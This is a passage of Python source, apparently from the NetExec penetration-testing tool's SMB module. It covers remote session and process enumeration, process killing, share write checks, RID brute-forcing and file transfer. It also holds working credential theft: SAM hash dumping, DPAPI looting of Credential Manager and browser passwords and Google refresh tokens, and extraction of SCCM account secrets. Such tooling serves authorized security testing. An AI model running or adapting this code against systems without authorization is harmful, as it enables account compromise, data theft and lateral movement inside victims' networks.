TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm: for SessionId in sessions: try: client = rcm.hRpcGetRemoteAddress(SessionId) if not client: continue sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"] except Exception as e: self.logger.debug(f"Error getting client address for session {SessionId}: {e}") except SessionError: self.logger.fail("RDP is probably not enabled, cannot list remote IPv4 addresses.") @requires_admin def taskkill(self): with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: handle = legacy.hRpcWinStationOpenServer() if self.args.taskkill.isdigit(): pidList = [int(self.args.taskkill)] else: res = legacy.hRpcWinStationGetAllProcesses(handle) if not res: self.logger.error("Could not get process list") return pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()] if not pidList: self.logger.fail(f"Could not find process named {self.args.taskkill}") return for pid in pidList: try: if legacy.hRpcWinStationTerminateProcess(handle, pid)["ErrorCode"]: self.logger.highlight(f"Terminated PID {pid} ({self.args.taskkill})") else: self.logger.fail(f"Failed terminating PID {pid}") except Exception as e: self.logger.exception(f"Error terminating PID {pid}: {e}") @requires_admin def qwinsta(self): desktop_states = { "WTS_SESSIONSTATE_UNKNOWN": "", "WTS_SESSIONSTATE_LOCK": "Locked", "WTS_SESSIONSTATE_UNLOCK": "Unlocked", } sessions = self.get_session_list() if not sessions: return self.enumerate_sessions_info(sessions) # Calculate max lengths for formatting maxSessionNameLen = max(len(sessions[i]["SessionName"]) + 1 for i in sessions) maxSessionNameLen = max(maxSessionNameLen, len("SESSIONNAME") + 1) maxUsernameLen = max(len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions) + 1 maxUsernameLen = max(maxUsernameLen, len("USERNAME") + 1) maxIdLen = max(len(str(i)) for i in sessions) maxIdLen = max(maxIdLen, len("ID") + 1) maxStateLen = max(len(sessions[i]["state"]) + 1 for i in sessions) maxStateLen = max(maxStateLen, len("STATE") + 1) # Create the template for formatting template = (f"{{SESSIONNAME: <{maxSessionNameLen}}} " f"{{USERNAME: <{maxUsernameLen}}} " f"{{ID: <{maxIdLen}}} " "{IPv4: <16} " f"{{STATE: <{maxStateLen}}} " "{DSTATE: <9} " "{CONNTIME: <20} " "{DISCTIME: <20} ") header = template.format( SESSIONNAME="SESSIONNAME", USERNAME="USERNAME", ID="ID", IPv4="IPv4 Address", STATE="STATE", DSTATE="Desktop", CONNTIME="ConnectTime", DISCTIME="DisconnectTime", ) header2 = template.replace(" <", "=<").format( SESSIONNAME="", USERNAME="", ID="", IPv4="", STATE="", DSTATE="", CONNTIME="", DISCTIME="", ) result = [header, header2] # Check if we need to filter for usernames usernames = None if self.args.qwinsta: arg = self.args.qwinsta if os.path.isfile(arg): with open(arg) as f: usernames = [line.strip().lower() for line in f if line.strip()] else: usernames = [arg.lower()] for i in sessions: username = sessions[i]["Username"] domain = sessions[i]["Domain"] user_full = f"{domain}\\{username}" if username else "" # If usernames are provided, filter them if usernames and username.lower() not in usernames: continue connectTime = sessions[i]["ConnectTime"] connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" disconnectTime = sessions[i]["DisconnectTime"] disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" row = template.format( SESSIONNAME=sessions[i]["SessionName"], USERNAME=user_full, ID=i, IPv4=sessions[i]["RemoteIp"], STATE=sessions[i]["state"], DSTATE=desktop_states[sessions[i]["flags"]], CONNTIME=connectTime, DISCTIME=disconnectTime, ) result.append(row) if len(result) > 2: self.logger.success("Enumerated qwinsta sessions") for row in result: self.logger.highlight(row) @requires_admin def tasklist(self): # Formats a row to be printed on screen def format_row(procInfo): return template.format( procInfo["ImageName"], procInfo["UniqueProcessId"], procInfo["SessionId"], procInfo["pSid"], f"{procInfo['WorkingSetSize'] // 1000:,} K", ) try: with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: try: handle = legacy.hRpcWinStationOpenServer() res = legacy.hRpcWinStationGetAllProcesses(handle) except Exception as e: # TODO: Issue https://github.com/fortra/impacket/issues/1816 self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}") return if not res: return self.logger.success("Enumerated processes") maxImageNameLen = max(len(i["ImageName"]) for i in res) maxSidLen = max(len(i["pSid"]) for i in res) template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}" self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) found_task = False # For each process on the remote host for procInfo in res: # If args.tasklist is not True then a process name was supplied if self.args.tasklist is not True: # So we look for it and print its information if found if self.args.tasklist.lower() in procInfo["ImageName"].lower(): found_task = True self.logger.highlight(format_row(procInfo)) # Else, no process was supplied, we print the entire list of remote processes else: self.logger.highlight(format_row(procInfo)) # If a process was suppliad to args.tasklist and it was not found, we print a fail message if self.args.tasklist is not True and not found_task: self.logger.fail(f"Didn't find process {self.args.tasklist}") except SessionError: self.logger.fail("Cannot list remote tasks, RDP is probably disabled.") def reg_sessions(self): def output(sessions): if sessions: # Calculate max lengths for formatting maxSidLen = max(len(key) + 1 for key in sessions) maxSidLen = max(maxSidLen, len("SID") + 1) maxUsernameLen = max(len(str(vals["Username"]) + str(vals["Domain"])) + 1 for vals in sessions.values()) + 1 maxUsernameLen = max(maxUsernameLen, len("USERNAME") + 1) # Create the template for formatting template = (f"{{USERNAME: <{maxUsernameLen}}} {{SID: <{maxSidLen}}}") # Create headers header = template.format(USERNAME="USERNAME", SID="SID") header2 = template.replace(" <", "=<").format(USERNAME="", SID="") # Store result result = [header, header2] for sid, vals in sessions.items(): username = vals["Username"] domain = vals["Domain"] user_full = f"{domain}\\{username}" if username else "" row = template.format(USERNAME=user_full, SID=sid) result.append(row) self.logger.success("Remote Registry enumerated sessions") for row in result: self.logger.highlight(row) else: self.logger.info(f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.") # Bind to the Remote Registry Pipe rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn) for binding_attempts in range(2, 0, -1): dce = rpctransport.get_dce_rpc() try: dce.connect() dce.bind(rrp.MSRPC_UUID_RRP) break except SessionError as e: self.logger.debug(f"Could not bind to the Remote Registry on {self.hostname}: {e}") if binding_attempts == 1: # Last attempt self.logger.info(f"The Remote Registry service seems to be disabled on {self.hostname}.") return # STATUS_PIPE_NOT_AVAILABLE : Waiting 1 second for the service to start (if idle and set to 'Automatic' startup type) sleep(1) # Open HKU hive try: resp = rrp.hOpenUsers(dce) except DCERPCException as e: if "rpc_s_access_denied" in str(e).lower(): self.logger.info(f"Access denied while enumerating session using the Remote Registry on {self.hostname}.") return else: self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}") except Exception as e: self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}") # Enumerate HKU subkeys and recover SIDs sid_filter = "^S-1-.*\\d$" exclude_sid = ["S-1-5-18", "S-1-5-19", "S-1-5-20"] key_handle = resp["phKey"] index = 1 sessions = {} while True: try: resp = rrp.hBaseRegEnumKey(dce, key_handle, index) sid = resp["lpNameOut"].rstrip("\0") if re.match(sid_filter, sid) and sid not in exclude_sid: self.logger.info(f"User with SID {sid} is logged in on {self.hostname}") sessions.setdefault(sid, {"Username": "", "Domain": ""}) index += 1 except rrp.DCERPCSessionError as e: if "ERROR_NO_MORE_ITEMS" in str(e): self.logger.debug(f"No more items found in HKU on {self.hostname}.") break else: self.logger.fail(f"Error enumerating HKU subkeys on {self.hostname}: {e}") break rrp.hBaseRegCloseKey(dce, key_handle) dce.disconnect() if not sessions: self.logger.info(f"No sessions found via the Remote Registry service on {self.hostname}.") return # Bind to the LSARPC Pipe for SID resolution rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() try: dce.connect() dce.bind(lsat.MSRPC_UUID_LSAT) except Exception as e: self.logger.debug(f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}") output(sessions) return # Resolve SIDs with names policy_handle = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)["PolicyHandle"] try: resp = lsat.hLsarLookupSids(dce, policy_handle, sessions.keys(), lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find("STATUS_SOME_NOT_MAPPED") >= 0: resp = e.get_packet() self.logger.debug(f"Could not resolve some SIDs: {e}") else: resp = None self.logger.debug(f"Could not resolve SID(s): {e}") if resp: for sid, item in zip(sessions.keys(), resp["TranslatedNames"]["Names"], strict=False): if item["DomainIndex"] >= 0: sessions[sid]["Username"] = item["Name"] sessions[sid]["Domain"] = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] # Filter for usernames if self.args.reg_sessions: arg = self.args.reg_sessions if os.path.isfile(arg): with open(arg) as f: usernames = [line.strip().lower() for line in f if line.strip()] else: usernames = [arg.lower()] filtered_sessions = {} for sid, info in sessions.items(): if info["Username"].lower() not in usernames: continue else: filtered_sessions[sid] = info output(filtered_sessions) else: output(sessions) def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] write_check = bool(not self.args.no_write_check) try: self.logger.debug(f"domain: {self.domain}") user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] except IndexError as e: if self.kerberos or self.username == "": pass else: self.logger.fail(f"IndexError: {e!s}") except Exception as e: error = get_error_string(e) self.logger.fail(f"Error getting user: {error}") try: self.logger.debug("Attempting to list shares...") shares = self.conn.listShares() self.logger.info(f"Shares returned: {shares}") except SessionError as e: error = get_error_string(e) self.logger.fail( f"Error enumerating shares: {error}", color="magenta" if error in smb_error_status else "red", ) return permissions except Exception as e: error = get_error_string(e) self.logger.fail( f"Error enumerating shares: {error}", color="magenta" if error in smb_error_status else "red", ) return permissions for share in shares: share_name = share["shi1_netname"][:-1] # Skip excluded shares if self.args.exclude_shares and share_name in self.args.exclude_shares: self.logger.debug(f"Skipping excluded share: {share_name}") continue share_remark = share["shi1_remark"][:-1] share_info = {"name": share_name, "remark": share_remark, "access": []} read = False write = False write_dir = False write_file = False try: self.conn.listPath(share_name, "*") read = True share_info["access"].append("READ") except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}") except (NetBIOSError, UnicodeEncodeError) as e: write_check = False share_info["access"].append("UNKNOWN (try '--no-smbv1')") error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") self.logger.info(f"Skipping WRITE permission check on share {share_name}") if write_check: try: self.conn.createDirectory(share_name, temp_dir) write_dir = True self.logger.debug(f"WRITE access with DIR creation on share: {share_name}") try: self.conn.deleteDirectory(share_name, temp_dir) except SessionError as e: error = get_error_string(e) if error == "STATUS_OBJECT_NAME_NOT_FOUND": pass else: self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}") except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking WRITE access with DIR creation on share {share_name}: {error}") try: tid = self.conn.connectTree(share_name) fid = self.conn.createFile(tid, temp_file, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE) self.conn.closeFile(tid, fid) write_file = True self.logger.debug(f"WRITE access with FILE creation on share: {share_name}") try: self.conn.deleteFile(share_name, temp_file) except SessionError as e: error = get_error_string(e) if error == "STATUS_OBJECT_NAME_NOT_FOUND": pass else: self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}") except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking WRITE access with FILE creation on share {share_name}: {error}") # If we either can create a file or a directory we add the write privs to the output. Agreed on in https://github.com/Pennyw0rth/NetExec/pull/404 if write_dir or write_file: write = True share_info["access"].append("WRITE") permissions.append(share_info) if share_name != "IPC$": try: # TODO: check if this already exists in DB before adding self.db.add_share(self.hostname, user_id, share_name, share_remark, read, write) except Exception as e: error = get_error_string(e) self.logger.debug(f"Error adding share: {error}") if self.args.filter_shares: self.logger.display("[REMOVED] Use the --shares read,write options instead.") self.logger.display("Enumerated shares") self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}") self.logger.highlight(f"{'-----':<15} {'-----------':<15} {'------'}") for share in permissions: name = share["name"] remark = share["remark"] perms = ",".join(share["access"]) if self.args.shares and self.args.shares.lower() not in perms.lower(): continue self.logger.highlight(f"{name:<15} {perms:<15} {remark}") return permissions def dir(self): search_path = ntpath.join(self.args.dir, "*") try: contents = self.conn.listPath(self.args.share, search_path) except SessionError as e: error = get_error_string(e) self.logger.fail( f"Error enumerating '{search_path}': {error}", color="magenta" if error in smb_error_status else "red", ) return if not contents: return self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}") self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}") for content in contents: full_path = ntpath.join(self.args.dir, content.get_longname()) self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") def interfaces(self): """ Enumeratie active network interfaces via SMB Made by Ilya Yatsenko (@fulc2um) """ try: self.logger.display("Starting network interface enumeration") tree_id = self.conn.connectTree("IPC$") FSCTL_QUERY_NETWORK_INTERFACE_INFO = 0x001401FC response = self.conn._SMBConnection.ioctl( tree_id, fileId=None, ctlCode=FSCTL_QUERY_NETWORK_INTERFACE_INFO, flags=SMB2_0_IOCTL_IS_FSCTL, inputBlob=b"", maxOutputResponse=8192 ) if response: self.logger.success("Retrieved network interface data") # Parse FSCTL_QUERY_NETWORK_INTERFACE_INFO response data if not response: self.logger.fail("No data to parse") return # Parse and group interfaces grouped_interfaces = {} offset = 0 while offset < len(response) and offset + 152 <= len(response): try: # Parse NETWORK_INTERFACE_INFO structure next_offset = struct.unpack(" offset else offset + next_offset if offset >= len(response): break except (struct.error, IndexError) as e: self.logger.fail(f"Error parsing interface at offset {offset}: {e}") break # Display interfaces if not grouped_interfaces: self.logger.fail("No network interfaces found") return self.logger.highlight(f"Found {len(grouped_interfaces)} network interface(s)") for i, if_index in enumerate(sorted(grouped_interfaces.keys())): iface = grouped_interfaces[if_index] caps_str = ", ".join(iface["capabilities"]) if iface["capabilities"] else "None" speed_mbps = iface["link_speed"] / 1000000 self.logger.display(f"Interface {i + 1} (Index: {if_index}):") self.logger.display(f" - Capabilities: {caps_str}") self.logger.display(f" - Speed: {speed_mbps:.0f} Mbps") self.logger.display(" - Addresses:") for addr in iface["addresses"]: prefix = " -" self.logger.display(f"{prefix} {addr}") else: self.logger.fail("No response data received") self.conn.disconnectTree(tree_id) except Exception as e: self.logger.fail(f"Error during network interface enumeration: {e}") self.logger.fail(f"Full error: {e}", exc_info=True) def get_dc_ips(self): dc_ips = [dc[1] for dc in self.db.get_domain_controllers(domain=self.domain)] if not dc_ips: dc_ips.append(self.host) return dc_ips def smb_sessions(self): self.logger.fail("[REMOVED] Use option --reg-sessions --qwinsta or --loggedon-users") return def disks(self): try: rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\srvsvc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) response = srvs.hNetrServerDiskEnum(dce, 0) # Process the response self.logger.display("Enumerated disks:") for disk in response["DiskInfoStruct"]["Buffer"]: if disk["Disk"] != "\x00": self.logger.highlight(disk["Disk"]) except Exception as e: self.logger.fail(f"Failed to enumerate disks: {e}") def local_groups(self): self.logger.display("Enumerating with SAMRPC protocol") try: groups, members = SamrFunc(self).get_local_groups(self.args.local_groups) except DCERPCException as e: self.logger.fail(f"Error enumerating local groups: {e}") return if groups and not self.args.local_groups: self.logger.success("Enumerated local groups") self.logger.debug(f"Local groups: {groups}") for group_name, group_rid in groups.items(): self.logger.highlight(f"{group_rid} - {group_name}") group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] self.logger.debug(f"Added group, returned id: {group_id}") elif groups and members: self.logger.success(f"Enumerated users of local groups: {groups.popitem()[0]}") members = dict(sorted(members.items(), key=lambda item: int(item[0].split("-")[-1]))) for member in members: self.logger.highlight(f"{member} - {members[member]}") def groups(self): self.logger.fail("[REMOVED] Arg moved to the ldap protocol") return def users(self): if self.args.users: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") return UserSamrDump(self).dump(requested_users=self.args.users, dump_path=self.args.users_export) def users_export(self): self.users() def computers(self): self.logger.fail("[REMOVED] Arg moved to the ldap protocol") return def loggedon_users(self): if self.args.loggedon_users_filter: self.logger.fail("[REMOVED] Use option '--loggedon-users ' for filtering") logged_on = set() try: rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) response = wkst.hNetrWkstaUserEnum(dce, 1) for user in response["UserInfo"]["WkstaUserInfo"]["Level1"]["Buffer"]: user_info = (user["wkui1_logon_domain"][:-1], user["wkui1_username"][:-1], user["wkui1_logon_server"][:-1]) if user_info not in logged_on: logged_on.add(user_info) if self.args.loggedon_users: if re.match(self.args.loggedon_users, user_info[1]): self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") else: self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") except Exception as e: self.logger.fail(f"Error enumerating logged on users: {e}") def pass_pol(self): return PassPolDump(self).dump() @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): records = [] if not wql: wql = self.args.wmi_query.strip("\n") if not namespace: namespace = self.args.wmi_namespace try: dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host) iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout) if not flag or not stringBinding: error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method" if not stringBinding: error_msg = "WMI Query: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again" self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg) # Make it force break function dcom.disconnect() iWbemLevel1Login = IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) iWbemLevel1Login.RemRelease() iEnumWbemClassObject = iWbemServices.ExecQuery(wql) except Exception as e: self.logger.fail(f"Execute WQL error: {e}") if "iWbemLevel1Login" in locals(): dcom.disconnect() else: self.logger.info(f"Executing WQL syntax: {wql}") try: if not callback_func: while True: wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] record = wmi_results.getProperties() records.append(record) for k, v in record.items(): if k != "TimeGenerated": # from the wcc module, but this is a small hack to get it to stop spamming - TODO: add in method to disable output for this function self.logger.highlight(f"{k} => {v['value']}") else: callback_func(iEnumWbemClassObject, records) except Exception as e: if str(e).find("S_FALSE") < 0: self.logger.debug(e) dcom.disconnect() return records def spider( self, share=None, folder=".", pattern=None, regex=None, exclude_dirs=None, depth=None, content=False, only_files=True, silent=True ): if exclude_dirs is None: exclude_dirs = [] if regex is None: regex = [] if pattern is None: pattern = [] spider = SMBSpider(self.conn, self.logger) if not silent: self.logger.display("Started spidering") start_time = time() if not share: spider.spider( self.args.spider, self.args.spider_folder, self.args.pattern, self.args.regex, self.args.exclude_dirs, self.args.depth, self.args.content, self.args.only_files, self.args.silent ) else: spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files, silent) if not silent: self.logger.display(f"Done spidering (Completed in {time() - start_time})") return spider.results def rid_brute(self, max_rid=None): entries = [] if not max_rid: max_rid = int(self.args.rid_brute) KNOWN_PROTOCOLS = { 135: {"bindstr": rf"ncacn_ip_tcp:{self.remoteName}"}, 139: {"bindstr": rf"ncacn_np:{self.remoteName}[\pipe\lsarpc]"}, 445: {"bindstr": rf"ncacn_np:{self.remoteName}[\pipe\lsarpc]"}, } try: string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"] self.logger.debug(f"StringBinding {string_binding}") rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.setRemoteHost(self.remoteName) if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey) if self.kerberos: rpc_transport.set_kerberos(self.kerberos, self.kdcHost) dce = rpc_transport.get_dce_rpc() if self.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() except Exception as e: self.logger.fail(f"Error creating DCERPC connection: {e}") return entries # Want encryption? Uncomment next line # But make simultaneous variable <= 100 # Want fragmentation? Uncomment next line dce.bind(lsat.MSRPC_UUID_LSAT) try: resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) except lsad.DCERPCSessionError as e: self.logger.fail(f"Error connecting: {e}") return entries policy_handle = resp["PolicyHandle"] try: resp = lsad.hLsarQueryInformationPolicy2(dce, policy_handle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) except lsad.DCERPCException as e: if e.error_string == "nca_s_op_rng_error": self.logger.fail("RPC lookup failed: RPC method not implemented") else: self.logger.fail(f"Error querying policy information: {e}") return entries domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"]["DomainSid"].formatCanonical() so_far = 0 simultaneous = 1000 for _j in range(max_rid // simultaneous + 1): sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous if sids_to_check == 0: break sids = [f"{domain_sid}-{i:d}" for i in range(so_far, so_far + sids_to_check)] try: lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find("STATUS_NONE_MAPPED") >= 0: so_far += simultaneous continue elif str(e).find("STATUS_SOME_NOT_MAPPED") >= 0: resp = e.get_packet() else: raise for n, item in enumerate(resp["TranslatedNames"]["Names"]): if item["Use"] != SID_NAME_USE.SidTypeUnknown: rid = so_far + n domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] user = item["Name"] sid_type = SID_NAME_USE.enumItems(item["Use"]).name self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})") entries.append( { "rid": rid, "domain": domain, "username": user, "sidtype": sid_type, } ) so_far += simultaneous dce.disconnect() return entries def put_file_single(self, src, dst): self.logger.display(f"Copying {src} to {dst}") with open(src, "rb") as file: try: self.conn.putFile(self.args.share, dst, file.read) self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}") except Exception as e: self.logger.fail(f"Error writing file to share {self.args.share}: {e}") def put_file(self): for src, dest in self.args.put_file: self.put_file_single(src, dest) def get_file_single(self, remote_path, download_path): share_name = self.args.share self.logger.display(f'Copying "{remote_path}" to "{download_path}"') if self.args.append_host: download_path = f"{self.hostname}-{remote_path}" with open(download_path, "wb+") as file: try: self.conn.getFile(share_name, remote_path, file.write) self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') except Exception as e: self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}') if os.path.getsize(download_path) == 0: os.remove(download_path) def get_file(self): for src, dest in self.args.get_file: self.get_file_single(src, dest) def enable_remoteops(self, regsecret=False): try: if regsecret: self.remote_ops = RegSecretsRemoteOperations(self.conn, self.kerberos, self.kdcHost) else: self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) self.remote_ops.enableRegistry() if self.bootkey is None: self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail(f"RemoteOperations failed: {e}") @requires_admin def sam(self): try: self.enable_remoteops(regsecret=(self.args.sam == "regdump")) host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") self.db.add_credential( "hash", self.hostname, username, f"{lmhash}:{nthash}", pillaged_from=host_id, ) add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: if self.args.sam == "regdump": SAM = RegSecretsSAMHashes( self.bootkey, remoteOps=self.remote_ops, perSecretCallback=lambda secret: add_sam_hash(secret, host_id), ) else: SAM_file_name = self.remote_ops.saveSAM() SAM = SAMHashes( SAM_file_name, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id), ) self.logger.display("Dumping SAM hashes") self.output_filename = self.output_file_template.format(output_folder="sam") SAM.dump() SAM.export(self.output_filename) self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") try: self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") if self.args.sam == "secdump": SAM.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.') except Exception as e: self.logger.exception(str(e)) @requires_admin def sccm(self): target = Target.create( domain=self.domain, username=self.username, password=self.password, target=self.hostname + "." + self.domain if self.kerberos else self.host, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, aesKey=self.aesKey, no_pass=True, use_kcache=self.use_kcache, ) conn = upgrade_to_dploot_connection(connection=self.conn, target=target) if conn is None: self.logger.debug("Could not upgrade connection") return masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") def sccm_callback(secret): if isinstance(secret, SCCMCred): tag = "NAA Account" self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") self.db.add_dpapi_secrets( target.address, f"SCCM - {tag}", "SYSTEM", secret.username.decode("latin-1"), secret.password.decode("latin-1"), "N/A", ) elif isinstance(secret, SCCMSecret): tag = "Task sequences secret" self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") self.db.add_dpapi_secrets( target.address, f"SCCM - {tag}", "SYSTEM", "N/A", secret.secret.decode("latin-1"), "N/A", ) elif isinstance(secret, SCCMCollection): tag = "Collection Variable" self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") self.db.add_dpapi_secrets( target.address, f"SCCM - {tag}", "SYSTEM", secret.variable.decode("latin-1"), secret.value.decode("latin-1"), "N/A", ) try: sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", ) except Exception as e: self.logger.debug(f"Error while looting sccm: {e}") @requires_admin def dpapi(self): dump_system = "nosystem" not in self.args.dpapi if self.args.pvk is not None: try: self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 self.logger.success(f"Loading domain backupkey from {self.args.pvk}") except Exception as e: self.logger.fail(str(e)) if self.pvkbytes is None: self.pvkbytes = get_domain_backup_key(self) target = Target.create( domain=self.domain, username=self.username, password=self.password, target=self.remoteName, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, aesKey=self.aesKey, no_pass=True, use_kcache=self.use_kcache, ) self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 conn = upgrade_to_dploot_connection(connection=self.conn, target=target) if conn is None: self.logger.debug("Could not upgrade connection") return masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") # Collect User and Machine Credentials Manager secrets def credential_callback(credential): tag = "CREDENTIAL" line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" self.logger.highlight(line) if self.output_file: self.output_file.write(line + "\n") self.db.add_dpapi_secrets( target.address, tag, credential.winuser, credential.username, credential.password, credential.target, ) try: credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) self.logger.debug(f"Credentials Triage Object: {credentials_triage}") credentials_triage.triage_credentials() if dump_system: credentials_triage.triage_system_credentials() except Exception as e: self.logger.debug(f"Error while looting credentials: {e}") dump_cookies = "cookies" in self.args.dpapi # Collect Chrome Based Browser stored secrets def browser_callback(secret): if isinstance(secret, LoginData): secret_url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" self.logger.highlight(line) if self.output_file: self.output_file.write(line + "\n") self.db.add_dpapi_secrets( target.address, secret.browser.upper(), secret.winuser, secret.username, secret.password, secret.url, ) elif isinstance(secret, GoogleRefreshToken): line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" self.logger.highlight(line) if self.output_file: self.output_file.write(line + "\n") self.db.add_dpapi_secrets( target.address, secret.browser.upper(), secret.winuser, secret.service, secret.token, "Google Refresh Token", 